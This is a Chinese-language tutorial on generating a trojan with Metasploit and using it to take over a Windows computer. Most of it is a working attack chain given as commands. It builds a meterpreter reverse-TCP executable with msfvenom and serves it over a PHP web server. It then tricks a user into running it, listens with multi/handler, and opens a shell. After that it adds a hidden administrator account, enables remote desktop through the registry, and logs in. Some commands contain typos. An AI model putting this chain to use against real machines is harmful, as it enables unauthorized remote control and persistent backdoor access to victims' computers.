利用msf生成木马入侵电脑

介绍：Metasploit (MSF)

综合利用工具，集成上千种漏洞利用方式，操作简单易上手。

Kali自带的，依赖于postgresql数据库

---

• [ ] 利用msf生成木马

• [ ] 投放木马至目标机

• [ ] 监听

• [ ] 控制，入侵

  ---

  一.利用MSF生成木马

  1. 首先打开postgresql数据库。打开终端输入：

     /etc/init.d/postgresql start

     

  2. 打开msf:

     msfconsole

     

  3. 生成木马

     msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.141 lport=8787 -f exe >./pppp.exe

     

二，投放木马

1. 建立本地站点:

   php -S 192.168.179.142:8080

   

   2.靶机下上投放病毒如图

   

   三.监听

   1. 启用MSF，加载exp

      use exploit/multi/handler

      加载payload

      set payload windows/meterpreter/reverse_tcp

      

   2. 查看参数并修改本地地址和监听端口，输入代码：

      show options

      设置本地IP 和监听端口 ，运行

      set  lhost 192.168.179.141
      set lport 8787

      

   3. 诱使客户点击我们投放的PPPP木马

      三.控制入侵

      1. 用户点击木马后 我们到提示

         

      2. 输入shell

         shell

3. 添加用户并添加到管理组：

   ![](/img/aaa.png)

   
net user desk 123.com /add
net localgroup administators desk /add

​
​
​ ### 四，监听控制
​
​ 1. 开启3389远程端口
​

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

2. 连接远程桌面,输入：

   
rdesktop 192.168.179.142

​

​ 3.登录win：

​